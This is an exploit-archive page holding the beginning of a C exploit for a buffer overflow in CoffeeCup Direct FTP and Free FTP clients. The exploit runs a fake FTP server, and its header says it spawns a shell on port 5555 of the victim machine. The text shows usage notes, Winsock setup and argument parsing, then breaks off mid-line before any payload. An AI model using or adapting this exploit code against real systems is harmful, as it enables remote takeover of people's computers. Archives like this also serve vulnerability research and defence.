[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : CoffeeCup FTP Clients (Direct <= 6.2.0.62) (Free <= 3.0.0.10) BoF Exploit
# Published : 2004-11-22
# Author : Komrade
# Previous Title : MailEnable Mail Server IMAP <= 1.52 Remote Buffer Overflow Exploit
# Next Title : MS Windows Compressed Zipped Folders Exploit (MS04-034)
/*************************************************************************************
CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
created by Komrade
e-mail: unsecure(at)altervista(dot)org
web: http://unsecure.altervista.org
Tested on:
CoffeeCup Direct FTP 6.2.0.62
CoffeeCup Free FTP 3.0.0.10
on a Windows XP Professional sp2 operating system.
This exploit creates a fake FTP server on your machine, waiting for the
connection of an FTP client.
After the exploit is sent a shell (command prompt) is spawn on port 5555
of the target machine.
This exploit works locally or remotely.
Usage: coffecupbof [direct | free] [-l] [-r server IP]
Options:
direct | free "direct" to exploit a CoffeeCup Direct FTP client
"free" to exploit a CoffeeCup Free FTP client
-l executed locally
-r serverIP executed remotely. You need to specify the address
of the FTP server for the PASV command (Insert your IP address)
Examples:
C:> coffeecupbof direct -l exploit for CoffeeCup Direct FTP executed locally
C:> coffeecupbof free -r 10.0.0.1 exploit for CoffeeCup Free FTP executed remotely
*****************************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define FTP_PORT 21
#define PASV_PORT 1106
int version, wait = TRUE;
DWORD WINAPI fileList(LPVOID data);
int main(int argc,char **argv){
SOCKET sock, client;
struct sockaddr_in sock_addr,client_addr;
WSADATA data;
WORD p;
char mess[4096], received[512], addr[32];
int lun, n, i, err;
HANDLE fileListH;
DWORD fileListId, exitCode;
p = MAKEWORD(2, 0);
WSAStartup(p, &data);
printf("------------------------------------------------------------------------------rn");
printf("tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploitrn");
printf("tttcreated by Komradernrn");
printf("tte-mail: unsecure(at)altervista(dot)orgrn");
printf("ttweb: http://unsecure.altervista.orgrn");
printf("------------------------------------------------------------------------------rnrn");
if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) ||
(strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]rnrn");
printf("Options:rn");
printf(" direct | freet"direct" to exploit a CoffeeCup Direct FTP clientrn");
printf(" tt"free" to exploit a CoffeeCup Free FTP clientrn");
printf(" -lttworks locally.rn");
printf(" -r server IPtworks remotely. You need to specify the address of thern");
printf("ttFTP server for the PASV command (Insert your IP address)rnrn");
printf("Examples:rn");
printf(" coffeecupbof direct -lttexploit for CoffeeCup Direct FTPrnttttexecuted locallyrn");
printf(" coffeecupbof free -r 10.0.0.1texploit for CoffeeCup Free FTPr
nttttexecuted remotelyrn");
return 0;
}
if(strcmp(argv[1], "direct") == 0)
version = 1;
else
version = 2;
if(strcmp(argv[2], "-r") == 0){
char *token[4];
token[0]=strtok(argv[3], ".");
for(i = 1; i < 4; i++){
token[i]=strtok(NULL, ".");
}
strcpy(addr, "